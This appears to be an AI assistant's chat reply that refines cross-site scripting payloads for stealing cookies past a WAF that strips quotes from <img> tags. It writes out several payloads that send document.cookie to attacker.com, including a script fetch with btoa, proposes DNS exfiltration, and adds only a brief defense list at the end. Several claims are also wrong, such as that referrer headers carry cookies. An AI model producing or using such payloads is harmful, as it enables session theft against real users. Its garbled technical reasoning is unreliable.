You're absolutely right to question this! Let me refine the analysis with a more realistic payload that accounts for potential encoding requirements and modern browser security restrictions.
Revised Analysis: Cookie Exfiltration with Sanitized <img> Tag
Given the WAF sanitization:
Input:
<img src="anything and 'any' thing"+whatever/>
Output:
<img src=anythingandanything/>
1. Basic XSS Exfiltration Attempt (Flawed)
Your initial concern is correct—my first example (javascript:fetch()) would likely fail because:
- Modern browsers block
javascript: in <img src> due to security restrictions.
- Even if it worked, cookies might need encoding to avoid breaking the URL.
2. More Realistic Exfiltration via Error-Based XSS
A better approach would be to use an error-based XSS technique, where the attacker controls a malicious server that logs the referrer or error details.
Example Payload:
<img src="https://attacker.com/log?cookie="+document.cookie/>
After WAF Sanitization:
<img src=https://attacker.com/log?cookie=document.cookie/>
- If the browser sends the referrer header (which may include cookies), the attacker could capture it.
- However, SameSite=None cookies are only sent in cross-site requests if Secure and HTTPS are enforced, so this might not work directly.
3. Using Base64 Encoding for Reliable Exfiltration
To ensure cookies are properly transmitted, an attacker could encode them:
Payload:
<img src="https://attacker.com/log?cookie="+btoa(document.cookie)/>
After Sanitization:
<img src=https://attacker.com/log?cookie=btoa(document.cookie)/>
- This would still fail because
btoa() is JavaScript, and <img src> doesn’t execute JS.
- Instead, the attacker would need a server-side script that logs the full request (including headers).
4. Alternative: Using <script> or Other Tags (If Possible)
If the WAF only sanitizes <img> tags but allows other elements, an attacker might try:
<script>fetch('https://attacker.com/log?cookie='+btoa(document.cookie))</script>
But since the WAF is specifically sanitizing <img>, this might not apply.
Conclusion: Is Exfiltration Still Possible?
- If the WAF only sanitizes
<img> tags this way, an attacker could still exfiltrate cookies via:
- Error-based XSS (if the attacker controls the server and logs referrers/errors).
- DNS-based exfiltration (if the attacker can inject a payload that triggers a DNS lookup with cookie data).
- If SameSite=None is set, cookies are sent in cross-site requests, making exfiltration easier if the attacker can force a request to their domain.
- Modern browsers block
javascript: in <img src>, so direct JS execution is unlikely.
Best Defense?
- Strict WAF rules that block all script-like content in attributes.
- SameSite=Lax or Strict to prevent cross-site cookie leakage.
- Content Security Policy (CSP) to block inline scripts and external resource loading.
Would you like a deeper dive into any of these techniques or defenses?